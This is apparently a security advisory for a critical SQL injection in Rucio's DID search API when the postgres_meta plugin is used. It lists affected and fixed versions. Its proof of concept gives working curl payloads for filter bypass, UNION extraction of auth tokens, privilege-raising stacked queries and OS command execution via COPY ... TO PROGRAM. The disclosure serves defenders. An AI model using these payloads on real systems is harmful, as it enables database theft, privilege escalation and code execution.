Vulnerability GHSA-6j7p-qjhg-9947

Critical
CRITICAL RISK
CVSS Score: 9.9
Score Range: 9.0–10.0
Critical severity vulnerabilities (CVSS 9.0–10.0). These represent the highest impact issues.
6 months ago
May 06, 2026 at 04:44 PM UTC
Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API
1.30.0 - 35.8.4 and 36.0.0 - 38.5.4 and 39.0.0 - 39.4.1 and 40.0.0 - 40.1.0
1.30.0 - 35.8.4 and 36.0.0 - 38.5.4 and 39.0.0 - 39.4.1 and 40.0.0 - 40.1.0

Summary

Rucio has SQL Injection in FilterEngine PostgreSQL Query Builder via DID Search API

Details

Summary

A SQL injection vulnerability in FilterEngine.create_postgres_query allows any authenticated Rucio user to execute arbitrary SQL against the configured PostgreSQL metadata database through the DID search endpoint (GET /dids/<scope>/dids/search). When the external metadata plugin postgres_meta is configured, attacker-controlled filter keys and values are interpolated directly into raw SQL statements via Python str.format. This enables full database compromise including data exfiltration, data modification, and potential remote code execution via COPY ... FROM PROGRAM.

PoC

Prerequisites:

  • A Rucio instance using PostgreSQL as the database backend
  • The postgres_meta metadata plugin explicitly configured (this is NOT the default — the default is json_meta)
  • Any valid Rucio authentication token (obtainable via userpass, x509, OIDC, SAML, SSH, or GSS)

1. Obtain an authentication token

TOKEN=$(curl -s -k \
  -H 'X-Rucio-Account: testuser' \
  -H 'X-Rucio-Username: testuser' \
  -H 'X-Rucio-Password: testpass' \
  'https://rucio.example.org/auth/userpass' \
  -D - 2>/dev/null | grep -i 'x-rucio-auth-token' | awk '{print $2}' | tr -d '\r')

2. Value injection — boolean-based filter bypass

# postgres_meta uses create_postgres_query() -> raw string formatting
# filter_engine.py:477: "{}->>'{}'  {} '{}'".format(jsonb_column, key, op, value)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20OR%20'1'%3D'1"

# URL-decoded: custom_key=x' OR '1'='1
#
# Generated SQL fragment:
#   data->>'custom_key' = 'x' OR '1'='1'
#
# Effect: WHERE clause always true, returns all rows

3. Key injection via query parameter name

# The key is single-quoted but unescaped — injection via closing quote.
# filter_engine.py:477: "{}->>'{}'  {} '{}'".format(jsonb_column, key, op, value)

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?x'%20OR%201%3D1--%20=anything"

# URL-decoded: key = x' OR 1=1--  , value = anything
#
# Generated SQL fragment:
#   data->>'x' OR 1=1-- ' = 'anything'
#              ^^^^^^^^ injected, -- comments out the rest

4. UNION-based data extraction

# Extract auth tokens from the tokens table.

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x'%20UNION%20SELECT%20token%2Caccount%2CNULL%2CNULL%20FROM%20tokens%20--"

# URL-decoded: custom_key=x' UNION SELECT token,account,NULL,NULL FROM tokens --
#
# Effect: Appends tokens table contents to the result set

5. Stacked queries — data modification

# PostgreSQL supports multiple statements separated by ;

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20UPDATE%20accounts%20SET%20account_type%3D'SERVICE'%20WHERE%20account%3D'testuser';%20--"

# URL-decoded: custom_key=x'; UPDATE accounts SET account_type='SERVICE' WHERE account='testuser'; --

6. Remote code execution (if database user has superuser privileges)

# PostgreSQL COPY ... FROM PROGRAM executes OS commands

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  "https://rucio.example.org/dids/user.testuser/dids/search?custom_key=x';%20COPY%20(SELECT%20'')%20TO%20PROGRAM%20'id%20>%20/tmp/pwned';%20--"

# URL-decoded: custom_key=x'; COPY (SELECT '') TO PROGRAM 'id > /tmp/pwned'; --
# Requires: database user with pg_execute_server_program or superuser role

7. Alternative entry via filters query parameter

# The filters parameter accepts Python literal syntax via ast.literal_eval().

curl -s -k \
  -H "X-Rucio-Auth-Token: $TOKEN" \
  -H "Accept: application/x-json-stream" \
  'https://rucio.example.org/dids/user.testuser/dids/search?filters=%5B%7B%22custom_key%22%3A%20%22x%27%20OR%20%271%27%3D%271%22%7D%5D'

# URL-decoded: filters=[{"custom_key": "x' OR '1'='1"}]

Related Vulnerabilities

Other vulnerabilities affecting the same packages

View all vulnerabilities for these packages

Impacted packages

Timeline

Published
6 months ago
May 06, 2026 at 04:44 PM UTC
Fixed (40.1.1)
6 months ago
May 06, 2026 at 07:48 AM UTC
Fixed (39.4.2)
6 months ago
May 06, 2026 at 07:50 AM UTC
Fixed (38.5.5)
6 months ago
May 06, 2026 at 07:53 AM UTC
Fixed (35.8.5)
6 months ago
May 06, 2026 at 07:54 AM UTC
Last Modified
4 months ago
June 30, 2026 at 04:45 PM UTC